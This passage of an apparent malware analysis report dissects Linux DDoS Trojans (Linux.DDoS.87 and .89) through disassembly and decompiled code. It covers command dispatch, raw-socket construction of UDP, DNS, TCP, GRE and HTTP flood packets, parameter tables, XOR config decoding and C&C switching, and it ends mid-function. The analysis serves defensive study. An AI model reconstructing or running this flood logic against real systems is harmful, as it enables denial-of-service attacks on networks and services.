.text:0804BA9C                 lea     eax, [esi+pkct_cmd.target]
.text:0804BA9F                 mov     [esp+4Ch+var_18], eax
.text:0804BAA3                 push    eax
.text:0804BAA4                 push    eax
.text:0804BAA5                 push    18h             ; size
.text:0804BAA7                 mov     ecx, [esp+58h+target_count]
.text:0804BAAB                 push    ecx             ; nmemb
.text:0804BAAC                 call    _calloc
.text:0804BAB1                 mov     [esp+5Ch+targets], eax
.text:0804BAB5                 add     esp, 10h
```

```
.text:0804BAB8                  mov     edx, [esp+4Ch+target_count]
.text:0804BABC                  test    edx, edx
.text:0804BABE                  jle     short end_target_parsing
```

Parsing code for received targets:

```
.text:0804BAC7 parse_next_target:                       ; CODE XREF: pro-
cess+A3j
.text:0804BAC7                  mov     edx, [ecx+pkct_cmd.target.ip_addr]
.text:0804BACA                  mov     [esi+target_parsed.target_ip], edx
.text:0804BACC                  mov     al, [ecx+pkct_cmd.target.masksize]
.text:0804BACF                  add     ecx, 5
.text:0804BAD2                  mov     [esi+target_parsed.masksize], al
.text:0804BAD5                  mov     [esi+target_parsed.sockaddr.sin_-
family], 2
.text:0804BADB                  mov     [esi+target_parsed.sock-
addr.sin_addr.s_addr], edx
.text:0804BADE                  add     esi, 18h
.text:0804BAE1                  cmp     ecx, ebp
.text:0804BAE3                  jnz     short parse_next_target
.text:0804BAE5                  mov     edx, [esp+4Ch+target_count]
.text:0804BAE9                  add     ecx, 6
.text:0804BAEC                  mov     [esp+4Ch+var_18], ecx
.text:0804BAF0                  lea     eax, [edx+edx*4]
.text:0804BAF3                  sub     ebx, eax
.text:0804BAF5                  sub     ebx, 6
.text:0804BAF8                  mov     [esp+4Ch+unprocessed_bytes], ebx
```

Then the Trojan determines whether the transmitted parameters need to be parsed. If they do, the `run_command` function is called after the parsing is complete:

```
.text:0804BAFC end_target_parsing:                      ; CODE XREF: pro-
cess+7Ej
.text:0804BAFC                  mov     eax, [esp+4Ch+unprocessed_bytes]
.text:0804BB00                  mov     [esp+4Ch+params_buffer], 0
.text:0804BB08                  test    eax, eax
.text:0804BB0A                  jz      short finish_processing ; no para-
m_cnt field = error
.text:0804BB0C                  mov     ebx, [esp+4Ch+var_18]
.text:0804BB10                  mov     bl, [ebx]
.text:0804BB12                  mov     [esp+4Ch+param_cnt], bl
```

```
.text:0804BB16                  test    bl, bl
.text:0804BB18                  jnz     start_parse_params
.text:0804BB1E                  mov     [esp+4Ch+var_20], 0
.text:0804BB26 start_command_execution:                 ; CODE XREF: pro-
cess+198j
.text:0804BB26                                          ; process+27Aj
.text:0804BB26                  push    ebp
.text:0804BB27                  push    ebp
.text:0804BB28                  mov     esi, [esp+54h+params_buffer]
.text:0804BB2C                  xor     eax, eax
.text:0804BB2E                  push    esi
.text:0804BB2F                  mov     ebx, [esp+58h+param_count]
.text:0804BB33                  push    ebx
.text:0804BB34                  mov     ecx, [esp+5Ch+targets]
.text:0804BB38                  push    ecx
.text:0804BB39                  mov     edx, [esp+60h+targets_count]
.text:0804BB3D                  push    edx
.text:0804BB3E                  mov     al, [esp+64h+params]
.text:0804BB42                  push    eax
.text:0804BB43                  push    edi
.text:0804BB44                  call    run_command
```

run_command

The function receives a time value, a command number, a quantity and array of targets, and a quantity and array of parameters. First, the handler needed is searched for:

```
.text:0804B937                  mov     bl, ds:handlers.length
.text:0804B93D                  mov     al, [esp+2Ch+number]
.text:0804B941                  test    bl, bl
.text:0804B943                  mov     [esp+2Ch+local_saved_number], al
.text:0804B947                  movzx   ebp, [esp+2Ch+target_count]
.text:0804B94C                  movzx   edi, [esp+2Ch+params_count]
.text:0804B951                  jz      short return    ; empty handlers
.text:0804B953                  mov     ecx, ds:handlers.handlers
.text:0804B959                  xor     esi, esi
.text:0804B95B                  cmp     al, [ecx+cmd.number]
.text:0804B95D                  jz      short handler_found
```

```
.text:0804B95F                  xor     edx, edx
.text:0804B961                  jmp     short loc_804B977
.text:0804B963 ;
-------------------------------------------------------------------------
--
.text:0804B963
.text:0804B963 next_entry:                              ; CODE XREF: run_-
command+4Aj
.text:0804B963                  xor     eax, eax
.text:0804B965                  mov     al, dl
.text:0804B967                  lea     esi, ds:0[eax*8]
.text:0804B96E                  mov     al, [esp+2Ch+local_saved_number]
.text:0804B972                  cmp     [esi+ecx], al
.text:0804B975                  jz      short handler_found
.text:0804B977
.text:0804B977 loc_804B977:                             ; CODE XREF: run_-
command+31j
.text:0804B977                  inc     edx
.text:0804B978                  cmp     dl, bl
.text:0804B97A                  jnz     short next_entry
```

Then child processes are run:

```
handler_found:
pid_children = fork(); //parent
if ( pid_children <= 0 ) {
    if ( !pid_children ){
        pid_2 = fork();
        if ( pid_2 > 0 )
            exit(0); //child dies, so parent returns to command execution
        if ( !pid_2){
            v6 = fork();
            if ( !v6 ){
              setsid();
              init_random();
              handlers.handlers[v7].func(target_count, targets, params_-
count, params); // run command
              exit(0);
            }
            if ( v6 > 0 ){
```

```
                setsid();
                sleep(time);
                kill(v6, 9); //kills his child after $time seconds
                exit(0);
              }
            }
        }
}else{//parent waiting for children death
    LOBYTE(v6) = __libc_waitpid(pid_children, &status, 0);
}
```

Command handlers

```
.text:08048190 cmd15           proc near               ; CODE XREF: cm-
d15j
.text:08048190                                         ; DATA XREF:
fillCmdHandlers+27Ao
.text:08048190                 jmp     short cmd15
.text:08048190 cmd15           endp
.text:08048190
.text:08048190 ;
---------------------------------------------------------------------------
--
.text:08048192                 align 10h
.text:080481A0
.text:080481A0 ; =============== S U B R O U T I N E
=======================================
.text:080481A0
.text:080481A0 ; Attributes: noreturn
.text:080481A0
.text:080481A0 cmd16           proc near               ; CODE XREF: cm-
d16j
.text:080481A0                                         ; DATA XREF:
fillCmdHandlers+2B4o
.text:080481A0                 jmp     short cmd16
.text:080481A0 cmd16           endp
.text:080481A0
.text:080481A0 ;
---------------------------------------------------------------------------
--
.text:080481A2                 align 10h
```

```
.text:080481B0
.text:080481B0 ; =============== S U B R O U T I N E
=======================================
.text:080481B0
.text:080481B0 ; Attributes: noreturn
.text:080481B0
.text:080481B0 cmd17           proc near               ; CODE XREF: cm-
d17j
.text:080481B0                                         ; DATA XREF:
fillCmdHandlers+2EBo
.text:080481B0                 jmp     short cmd17
.text:080481B0 cmd17           endp
.text:080481B0
```

Other handlers act as follows:

```
void handle(target *t, param *p){
    the Trojan receives packet parameters
    a packet is created for every target
    yet 1 {
        for every target
            if (maskbits <= 31), a new target IP is selected
            packet is being sent
    }
}
```

cmd0 – UDP Flood

First, the parameters received are parsed:

```
v23 = calloc(target_count, 4u);
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
fragmentation = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);
packetSize = getNumberOrDefault(params_count, params, 0, 512);
needFillRandom = getNumberOrDefault(params_count, params, 1, 1);
```

The **getNumberOrDefault** function has the following structure:

```
int __cdecl getNumberOrDefault(unsigned __int8 length, param2 *param,
char id, int default)
```

It returns the value from the parameter array with the specified id or the value `default` if the id is not found. Values for the id field:

Id	Value
0	It is changed depending on the handler and implies either the length of the whole packet or the length of the data.
1	For some types of attacks, it determines whether random data needs to be generated in the packet.
2	ip_header.TOS
3	ip_header.identification
4	ip_header.TTL
5	ip_header.flags << 13 | ip_header.fragment
6	Source port
7	Dest port
8	Host in the DNS request
9	DNS request parameters
11	TCP.urgent_flag
12	TCP.ack_flag
13	TCP.psh_flag
14	TCP.rst_flag
15	TCP.syn_flag
16	TCP.fin_flag
17	TCP.Sequence_number
19	Specifies whether ip.dstAddr in the GRE packet is the same as in the external packet.
20	Requested page
22	The host header value

Then the Trojan creates a "raw" socket and enters the IP header:

```
.text:0804AB7F                  push    IPPROTO_UDP
.text:0804AB81                  push    SOCK_RAW
.text:0804AB83                  push    AF_INET
.text:0804AB85                  call    ___GI_socket
.text:0804AB8A                  mov     [esp+6Ch+fd], eax
.text:0804AB8E                  add     esp, 10h
.text:0804AB91                  inc     eax
.text:0804AB92                  jz      loc_804AE5E
.text:0804AB98                  mov     [esp+5Ch+var_14], 1
.text:0804ABA0                  sub     esp, 0Ch
.text:0804ABA3                  push    4
.text:0804ABA5                  lea     eax, [esp+6Ch+var_14]
.text:0804ABA9                  push    eax
.text:0804ABAA                  push    IP_HDRINCL
.text:0804ABAC                  push    SOL_IP
.text:0804ABAE                  mov     ebx, [esp+78h+fd]
.text:0804ABB2                  push    ebx
.text:0804ABB3                  call    ___GI_setsockopt
```

After that, it is generated using the header of a IP/UDP datagram for each objective received:

```
do {
    target_packet_headers[v4] = calloc(0x5E6u, 1u);     current_ipudp_-
header = target_packet_headers[counter];
    current_ipudp_header->header.ip.Version = 69;
    current_ipudp_header->header.ip.TOS = TOS;
    v6 = htons(packetSize + 28, 8);
    current_ipudp_header->header.ip.totalLength = v6;
    current_ipudp_header->header.ip.TTL = TTL;
    v7 = htons(ident, 8);
    current_ipudp_header->header.ip.ident = v7;
    if ( fragmentation )
        current_ipudp_header->header.ip.frag_offs = 64;
    current_ipudp_header->header.ip.protocol = IPPROTO_UDP;
    current_ipudp_header->header.ip.src_addr = selfaddr;
    current_ipudp_header->header.ip.dst_addr = targets[counter].tar-
get_ip;
```

```
    v9 = __ROR2__(sport, 8);
    current_ipudp_header->header.udp.sport = v9;
    v10 = __ROR2__(dport, 8);
    current_ipudp_header->header.udp.dport = v10;
    v11 = __ROR2__(packetSize + 8, 8);
    current_ipudp_header->header.udp.length = v11;
    counter++;
}while ( target_count > counter );
```

Then packets are sent to specified targets. If **maskbits <= 31**, a random target is generated. If the parameter values `ident`, `dport`, and `sport` equal `0xffff`, these parameters are generated randomly for every packet. If a certain parameter is set, a packet's body will be generated:

```
text:0804ADF3 rand_indent:                              ; CODE XREF: cm-
d0_udp_random+233j
.text:0804ADF3                  call    rand_cmwc
.text:0804ADF8                  cmp     [esp+5Ch+sourcePort], 0FFFFh
.text:0804ADFE                  mov     [esi+ipudp_0.header._ip.ident], ax
.text:0804AE02                  jnz     sport_is_const
.text:0804AE08 rand_sport:                              ; CODE XREF: cm-
d0_udp_random+23Fj
.text:0804AE08                  call    rand_cmwc
.text:0804AE0D                  cmp     [esp+5Ch+destPort], 0FFFFh
.text:0804AE13                  mov     [esi+ipudp_0.header.udp.sport], ax
.text:0804AE17                  jnz     dport_is_const
.text:0804AE1D rand_dport:                              ; CODE XREF: cm-
d0_udp_random+24Bj
.text:0804AE1D                  call    rand_cmwc
.text:0804AE22                  cmp     [esp+5Ch+needFillRandom], 0
.text:0804AE27                  mov     [edi+udp_packet.dport], ax
.text:0804AE2B                  jz      send_packet
.text:0804AE31 loc_804AE31:                             ; CODE XREF: cm-
d0_udp_random+256j
.text:0804AE31                  push    eax
.text:0804AE32                  push    eax
.text:0804AE33                  mov     eax, dword ptr [esp+64h
+size_of_packet]
.text:0804AE37                  and     eax, 0FFFFh
.text:0804AE3C                  push    eax             ; a2
.text:0804AE31 loc_804AE31:                             ; CODE XREF: cm-
d0_udp_random+256j
```

```
.text:0804AE31                  push    eax
.text:0804AE32                  push    eax
.text:0804AE33                  mov     eax, dword ptr [esp+64h
+size_of_packet]
.text:0804AE37                  and     eax, 0FFFFh
.text:0804AE3C                  push    eax             ; a2
.text:0804AE3D                  lea     eax, [esi+ipudp_0.data]
.text:0804AE40                  push    eax             ; a1
.text:0804AE41                  call    fillBufRandom
.text:0804AE46                  add     esp, 10h
.text:0804AE49                  jmp     send_packet
```

Then the Trojan counts checksums and shifts its attention to the next target. This procedure continues until the process is terminated:

```
.text:0804AD1C send_packet:                             ; CODE XREF: cm-
d0_udp_random+36Bj
.text:0804AD1C                                          ; cmd0_udp_random
+389j
.text:0804AD1C                  mov     word ptr [esi+0Ah], 0
.text:0804AD22                  push    eax
.text:0804AD23                  push    eax
.text:0804AD24                  push    14h
.text:0804AD26                  push    esi
.text:0804AD27                  call    calcIPCheckSum
.text:0804AD2C                  mov     [esi+0Ah], ax
.text:0804AD30                  mov     word ptr [edi+6], 0
.text:0804AD36                  push    ebx             ; a4
.text:0804AD37                  mov     ax, [edi+4]
.text:0804AD3B                  and     eax, 0FFFFh
.text:0804AD40                  push    eax             ; a3
.text:0804AD41                  push    edi             ; a2
.text:0804AD42                  push    esi             ; a1
.text:0804AD43                  call    calcUDPChecksum
.text:0804AD48                  mov     [edi+6], ax
.text:0804AD4C                  mov     eax, [esp+7Ch+counter]
.text:0804AD50                  mov     ecx, [esp+7Ch+targets]
.text:0804AD57                  mov     dx, [edi+2]
.text:0804AD5B                  lea     eax, [eax+eax*2]
```

```
.text:0804AD5E                  add     esp, 18h
.text:0804AD61                  shl     eax, 3
.text:0804AD64                  mov     [eax+ecx+0Ah], dx
.text:0804AD69                  lea     eax, [ecx+eax+8]
.text:0804AD6D                  push    10h
.text:0804AD6F                  push    eax
.text:0804AD70                  push    4000h
.text:0804AD75                  push    ebp
.text:0804AD76                  push    esi
.text:0804AD77                  mov     esi, [esp+78h+fd]
.text:0804AD7B                  push    esi
.text:0804AD7C                  call    ___libc_sendto
.text:0804AD81                  mov     eax, [esp+7Ch+counter]
.text:0804AD85                  inc     eax
.text:0804AD86                  mov     [esp+7Ch+counter], eax
.text:0804AD8A                  add     esp, 20h
.text:0804AD8D                  cmp     eax, [esp+5Ch+target_count_2]
.text:0804AD91                  jl      send_to_next_target
.text:0804AD97                  mov     ecx, [esp+5Ch+target_count_2]
.text:0804AD9B                  test    ecx, ecx
.text:0804AD9D                  jmp     and_again
```

cmd1 – Source Engine Amplification

It operates like the previous command; however, the packet's content is retrieved from the configuration:

```
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 27015); //constant by
default
tsource = (char *)get_data_from_config(8);  // get "TSource Engine Query"
```

cmd2 – DNS flood

This command uses parameters similar to the previous ones; however, in this case, the value `transaction_id` and the domain name that needs to be requested are added for the DNS packet:

```
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 53);
transaction_id_1 = getNumberOrDefault(params_count, params, 9, 0xFFFF);
random_data_length = getNumberOrDefault(params_count, params, 0, 12);
query = getString(params_count, params, 8, 0);
```

A packet containing 100 domain requests is generated and sent to the specified address. The **Recursion desired** flag is set:

```
.text:0804A4D3                  mov     [ecx+dnsheader.flags], 1 ; Do re-
quest reqursively
.text:0804A4D9                  mov     [ecx+dnsheader.qdcount], 100h ;
One Request
.text:0804A4DF                  mov     [edx+ipudp_2.queries], al  ; size
of random generated
.text:0804A4E2                  mov     ecx, [esp+6Ch+random_data_length]
.text:0804A4E6                  push    eax
.text:0804A4E7                  mov     eax, [esp+70h+length_of_domain]
.text:0804A4EB                  push    eax             ; a3
.text:0804A4EC                  lea     ebx, [edx+ecx+(ipudp_2.queries
+1)]
.text:0804A4F0                  mov     eax, [esp+74h+domain_query]
.text:0804A4F4                  push    eax             ; a2
.text:0804A4F5                  lea     eax, [ebx+1]
.text:0804A4F8                  push    eax             ; a1
.text:0804A4F9                  call    strncpy
.text:0804A4FE                  add     esp, 10h
.text:0804A501                  mov     esi, [esp+6Ch+length_of_str]
.text:0804A505                  test    esi, esi
.text:0804A507                  jle     loc_804A71E
.text:0804A50D                  mov     edx, ebx
```

```
.text:0804A50F                  xor     ecx, ecx
.text:0804A511                  mov     eax, 1
.text:0804A516                  jmp     short check_char_in_query
.text:0804A518 ;
--------------------------------------------------------------------------
--
.text:0804A518 not_dot:                                 ; CODE XREF: cm-
d2_dns_flood+29Dj
.text:0804A518                  inc     ecx             ; parsing query
.text:0804A519
.text:0804A519 not_very_efficient_loop:                 ; CODE XREF: cm-
d2_dns_flood+2A6j
.text:0804A519                  inc     eax
.text:0804A51A                  cmp     eax, [esp+6Ch+random_data_length]
.text:0804A51E                  jz      loc_804A6E9
.text:0804A524
.text:0804A524 check_char_in_query:                     ; CODE XREF: cm-
d2_dns_flood+286j
.text:0804A524                  mov     esi, [esp+6Ch+domain_query]
.text:0804A528                  cmp     byte ptr [eax+esi-1], '.'
.text:0804A52D                  jnz     short not_dot   ; parsing query
.text:0804A52F                  mov     [edx], cl
.text:0804A531                  lea     edx, [ebx+eax]
.text:0804A534                  xor     ecx, ecx
.text:0804A536                  jmp     short not_very_efficient_loop
```

A name of a requested host is generated by setting a length of a generated prefix in the field 0, to which a string, transmitted in the parameter with **id = 8**, is added.

cmd3 – TCP flood 2 options

The command is responsible for sending TCP packets to specified targets. It also allows values to be specified for TCP flags using these parameters:

```
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 1);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);
seq = getNumberOrDefault(params_count, params, 17, 0xFFFF);
```

```
v32 = getNumberOrDefault(params_count, params, 18, 0);
urgent_flag = getNumberOrDefault(params_count, params, 11, 0);
ack_flag = getNumberOrDefault(params_count, params, 12, 0);
psh_flag = getNumberOrDefault(params_count, params, 13, 0);
rst_flag = getNumberOrDefault(params_count, params, 14, 0);
syn_flag = getNumberOrDefault(params_count, params, 15, 1);
fin_flag = getNumberOrDefault(params_count, params, 16, 0);
```

Setting flags in the packet:

```
.text:0804A016                  mov     [esi+tcp_packet.seq], eax
.text:0804A019                  mov     al, byte ptr [esi
+tcp_packet.flags]
.text:0804A01C                  and     eax, 0Fh
.text:0804A01F                  or      eax, 0FFFFFFA0h ; set packet size
as 10 dwords (40 bytes)
.text:0804A022                  mov     byte ptr [esi+tcp_packet.flags],
al
.text:0804A025                  mov     al, byte ptr [esi
+(tcp_packet.flags+1)]
.text:0804A028                  and     eax, 0FFFFFFCFh ; 0x11001111
.text:0804A02B                  mov     dl, [esp+6Ch+ack_flg]
.text:0804A02F                  or      al, [esp+6Ch+urgent_flg_shifted]
.text:0804A033                  mov     cl, [esp+6Ch+push_flag]
.text:0804A037                  shl     edx, 4
.text:0804A03A                  shl     ecx, 3
.text:0804A03D                  or      eax, edx
.text:0804A03F                  and     eax, 0FFFFFFF3h ; 0x11110011
.text:0804A042                  mov     dl, [esp+6Ch+rst_flg]
.text:0804A046                  shl     edx, 2
.text:0804A049                  or      eax, ecx
.text:0804A04B                  or      eax, edx
.text:0804A04D                  mov     dl, [esp+6Ch+syn_flag]
.text:0804A051                  add     edx, edx
.text:0804A053                  and     eax, 0FFFFFFFCh
.text:0804A056                  or      eax, edx
.text:0804A058                  or      eax, edi
.text:0804A05A                  mov     byte ptr [esi+(tcp_packet.flags
+1)], al
```

In addition, TCP parameters with numbers 2 and 8 are installed into the packet—`maximum segment size` and `timestamp`:

```
.text:0804A05D                  mov     byte ptr [ebx+28h], TCPOPT_MAXSEG
.text:0804A061                  mov     byte ptr [ebx+29h], 4
.text:0804A065                  call    rand_cmwc
.text:0804A06A                  mov     byte ptr [ebx+2Ch], 4
.text:0804A06E                  and     eax, 0Fh
.text:0804A071                  mov     byte ptr [ebx+2Dh], 2
.text:0804A075                  add     eax, 578h
.text:0804A07A                  mov     byte ptr [ebx+2Eh],
TCPOPT_TIMESTAMP
.text:0804A07E                  ror     ax, 8
.text:0804A082                  mov     byte ptr [ebx+2Fh], 0Ah
.text:0804A086                  mov     [ebx+2Ah], ax
.text:0804A08A                  call    rand_cmwc
.text:0804A08F                  mov     dword ptr [ebx+34h], 0
.text:0804A096                  mov     [ebx+30h], eax
.text:0804A099                  mov     byte ptr [ebx+38h], 1
.text:0804A09D                  mov     byte ptr [ebx+39h], 3
.text:0804A0A1                  mov     byte ptr [ebx+3Ah], 3
.text:0804A0A5                  mov     byte ptr [ebx+3Bh], 6
```

Once generated, the packet is sent without any information.

cmd4 – TCP flood random

This command operates like the previous one; however, the TCP parameters are not set in the packet. If the corresponding flag is set, random data is written to the packet.

cmd6 – TCP flood 1 option

The command is similar to `cmd3`; however, only one parameter is set:

```
.text:08049656                  mov     byte ptr [esi+iptcp_6.data],
TCPOPT_NOP
.text:0804965A                  mov     byte ptr [esi+(iptcp_6.data+1)],
TCPOPT_NOP
.text:0804965E                  mov     byte ptr [esi+2Ah],
TCPOPT_TIMESTAMP
.text:08049662                  mov     byte ptr [esi+2Bh], 0Ah
```

```
.text:08049666                  lea     ebx, [esi+2Ch]
.text:08049669                  call    rand_cmwc
.text:0804966E                  mov     [esi+2Ch], eax
.text:08049671                  call    rand_cmwc
.text:08049676                  mov     [ebx+4], eax
```

cmd7 – TCP flood simple

In contrast to the previous methods, when this command is executed, only the port and the size of the transmitted data are defined. To carry out an attack, sockets are used to establish a TCP connection:

```
port = getNumberOrDefault(params_count, params, 7, 80);
size = getNumberOrDefault(params_count, params, 0, 1024);
useRandom = getNumberOrDefault(params_count, params, 1, 1);
```

cmd8 UDP flood over GRE

The command sends UDP packets over the GRE protocol and uses the following parameters:

```
TOS = getNumberOrDefault(params_count, param, 2, 0);
ident = getNumberOrDefault(params_count, param, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, param, 4, 64);
frag = getNumberOrDefault(params_count, param, 5, 1);
sport = getNumberOrDefault(params_count, param, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, param, 7, 0xFFFF);
payloadLength = getNumberOrDefault(params_count, param, 0, 512);
fillRandom = getNumberOrDefault(params_count, param, 1, 1);
useSameAddr = getNumberOrDefault(params_count, param, 19, 0); //inner
ip.dstAddr == outer ip.dstAddr
```

The GRE packet is generated as follows:

```
.text:08048F57 loc_8048F57:                             ; CODE XREF: cm-
d8_GRE_udp_random+1EFj
.text:08048F57                  mov     [ebx+ipgre8._ip.protocol],
IPPROTO_GRE
.text:08048F5B                  mov     [edx+gre_packet.protocolType], 8 ;
IP protocol
.text:08048F61                  mov     eax, ds:selfaddr
.text:08048F66                  mov     ecx, [esp+5Ch+arg_4]
.text:08048F6A                  mov     [ebx+ipgre8._ip.src_addr], eax
```

```
.text:08048F6D                  mov     eax, [esp+5Ch+counter]
.text:08048F71                  lea     eax, [eax+eax*2]
.text:08048F74                  mov     eax, [ecx+eax*8]
.text:08048F77                  mov     [ebx+ipgre8.ip_in-
ner.header._ip.Version], 45h
.text:08048F7B                  mov     [ebx+ipgre8._ip.dst_addr], eax
.text:08048F7E                  mov     al, [esp+5Ch+TOS]
.text:08048F82                  mov     [esi+ipudp._ip.TOS], al
.text:08048F85                  mov     dl, [esp+5Ch+TTL]
.text:08048F89                  mov     eax, dword ptr [esp+5Ch+inner-
_length]
.text:08048F8D                  ror     ax, 8
.text:08048F91                  mov     [esi+ipudp._ip.totalLength], ax
.text:08048F95                  mov     ax, [esp+5Ch+ident_inner]
.text:08048F9A                  mov     [esi+ipudp._ip.TTL], dl
.text:08048F9D                  ror     ax, 8
.text:08048FA1                  cmp     [esp+5Ch+frag], 0
.text:08048FA6                  mov     [esi+ipudp._ip.ident], ax
.text:08048FAA                  jz      short loc_8048FB2
.text:08048FAC                  mov     [esi+ipudp._ip.frag_offs], 40h
.text:08048FB2
.text:08048FB2 loc_8048FB2:                             ; CODE XREF: cm-
d8_GRE_udp_random+24Aj
.text:08048FB2                  mov     [esi+ipudp._ip.protocol],
IPPROTO_UDP
.text:08048FB6                  call    rand_cmwc
.text:08048FBB                  cmp     [esp+5Ch+var_27], 0
.text:08048FC0                  mov     [esi+ipudp._ip.src_addr], eax
.text:08048FC3                  jnz     use_same
.text:08048FC9                  sub     eax, 400h
.text:08048FCE                  xor     eax, 0FFFFFFFFh
.text:08048FD1                  mov     [esi+ipgre8._ip.dst_addr], eax
.text:08048FD4                  jmp     loc_8048EC3
```

cmd10 GRE Packet using Transparent Ethernet Bridging

Like the previous command, this command sends encapsulated GRE packets; however, TEB (Transparent Ethernet Bridging) is used: the packet contains a full-featured Ethernet frame. The sender's and the receiver's MAC addresses are randomly generated in the internal frame:

```
.text:08048A3A                  mov     [ebx+ipgre_9.outer_iphdr._ip.protocol], IPPROTO_GRE
.text:08048A3E                  mov     [ecx+gre_packet.protocolType], 5865h ; GRE_NET_TEB
.text:08048A44                  mov     eax, ds:selfaddr
.text:08048A49                  mov     edx, [esp+6Ch+arg_4]
.text:08048A4D                  mov     [ebx+ipgre_9.outer_iphdr._ip.src_addr], eax
.text:08048A50                  mov     ecx, [esp+6Ch+saved_frame]
.text:08048A54                  mov     eax, [esp+6Ch+counter]
.text:08048A58                  mov     [ecx+ether_packet.type], 8 ; IP
```

cmd14 HTTP Flood

During one iteration, the command sends 10 HTTP requests that look as follows:

```
GET <param(20)> HTTP/1.1
Host: <param(22)>
Connection: keep-alive
User-Agent: <randomly selected from those specified in the configuration>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
```

Linux.DDoS.89

SHA1: 846b2d1b091704bb5a90a1752cafe5545588caa6

A modified version of Linux.DDoS.87 that fills structures with command handlers in a similar way:

```
v0->number_ = 0;
v0->func = cmd0;
v2 = (cmd **)realloc(malware_conf.entries, 4 * malware_conf.size + 4);
v3 = malware_conf.size + 1;
malware_conf.entries = v2;
v2[malware_conf.size] = v1;
malware_conf.size = v3;
v4 = (cmd *)calloc(1u, 8u);
v5 = v4;
v4->number_ = 1;
v4->func = cmd1;
```

The appearance of some structures has been changed: some fields have been swapped around. The way the configuration is filled and stored has also been changed: in this version, the memory is not reallocated; instead, a statically allocated memory area is used to save the Trojan. Before using a specific configuration value that is stored in the memory, the **decode** function is called. This function decrypts the value by implementing an XOR operation and is then called again to encrypt the value in the memory. Like in the previous version, field values are obtained from a number, but now it coincides with the location in the array. The command format has not been changed. The method of running a command handler is still the same (taking into account that the way of storing handlers has been changed).

Running the command handler in **Linux.DDoS.87**:

```
char __cdecl run_command(__time_t time, char number, unsigned __int8 tar-
get_count, target_parsed *targets, unsigned __int8 params_count, param2
*params)
{
  signed int v6; // eax@1
  int v7; // esi@2
  unsigned __int8 v8; // dl@3
  int v9; // ebx@12
  int status; // [esp+28h] [ebp-14h]@8
  LOBYTE(v6) = number;
  if ( handlers.length )
  {
    v7 = 0;
```

```
    if ( number == handlers.handlers->number )
    {
handler_found:
      v6 = __libc_fork();
      if ( v6 <= 0 )
      {
        if ( !v6 )
        {
          v6 = __libc_fork();
          if ( v6 > 0 )
            __GI_exit(0);
          if ( !v6 )
          {
            v6 = __libc_fork();
            v9 = v6;
            if ( !v6 )
            {
              __GI_setsid();
              init_random();
              handlers.handlers[v7].func(target_count, targets, params_-
count, params);
              __GI_exit(0);
            }
            if ( v6 > 0 )
            {
              __GI_setsid();
              sleep(time);
              __GI_kill(v9, 9);
              __GI_exit(0);
            }
          }
        }
      }
      else
      {
        LOBYTE(v6) = __libc_waitpid(v6, &status, 0);
      }
```

```
    }
    else
    {
      v8 = 0;
      while ( ++v8 != handlers.length )
      {
        v7 = v8;
        LOBYTE(v6) = number;
        if ( handlers.handlers[v7].number == number )
          goto handler_found;
      }
    }
  }
  return v6;
}
```

Running the command handler in **Linux.DDoS.89**:

```
void __cdecl sub_8048200(int a1, char a2, unsigned __int8 a3, target_-
parsed *a4, unsigned __int8 a5, param2 *a6)
{
  int v6; // eax@1
  int v7; // eax@4
  int v8; // eax@7
  cmd *v9; // edx@7
  int v10; // eax@12
  v6 = __libc_fork();
  if ( v6 != -1 && v6 <= 0 )
  {
    v7 = __libc_fork();
    if ( v7 == -1 )
      __GI_exit(0);
    if ( !v7 )
    {
      __GI_sleep(a1);
      v10 = getppid();
      __GI_kill(v10, 9);
      __GI_exit(0);
```

```
    }
    if ( (signed int)malware_conf.size > 0 )
    {
      v8 = 0;
      v9 = *malware_conf.entries;
      if ( a2 == (*malware_conf.entries)->number_ )
      {
LABEL_10:
        v9->func(a3, a4, a5, a6);
      }
      else
      {
        while ( ++v8 != malware_conf.size )
        {
          v9 = malware_conf.entries[v8];
          if ( v9->number_ == a2 )
            goto LABEL_10;
        }
      }
    }
  }
}
```

The main differences from Linux.DDoS.87

The pseudo-random sequence generator has been changed, as has the order in which the Trojan performs its actions once it has been launched. First, it starts operating with signals, ignoring SIGINT:

```
__GI_sigemptyset(&v43);
__GI_sigaddset(&v43, SIGINT);
__GI_sigprocmask(SIG_BLOCK, &v43, 0)
```

Then other signal handlers are installed:

```
__bsd_signal(SIGCHLD, SIGEV_NONE);
  __bsd_signal(SIGTRAP, change_host);


//change_host:
void __cdecl change_host()
```

```
{
  decode(4u);
  decode(5u);
  cnc.sin_addr.s_addr = *(_DWORD *)get_config_entry(4, 0);
  cnc.sin_port = *(_WORD *)get_config_entry(5, 0);
  encode(4u);
  encode(5u);
}
```

The process then receives the IP address of the network interface used to connect to the Internet via the Google DNS server (**Linux.DDoS.87** got this address by connecting to its C&C server):

```
int getMyIp()
{
  int v0; // esi@1
  int result; // eax@1
  __int16 v2; // [esp+20h] [ebp-1Ch]@2
  __int16 v3; // [esp+22h] [ebp-1Ah]@2
  int v4; // [esp+24h] [ebp-18h]@2
  int v5; // [esp+30h] [ebp-Ch]@1
  v5 = 16;
  v0 = __GI_socket(2, 2, 0);
  result = 0;
  if ( v0 != -1 )
  {
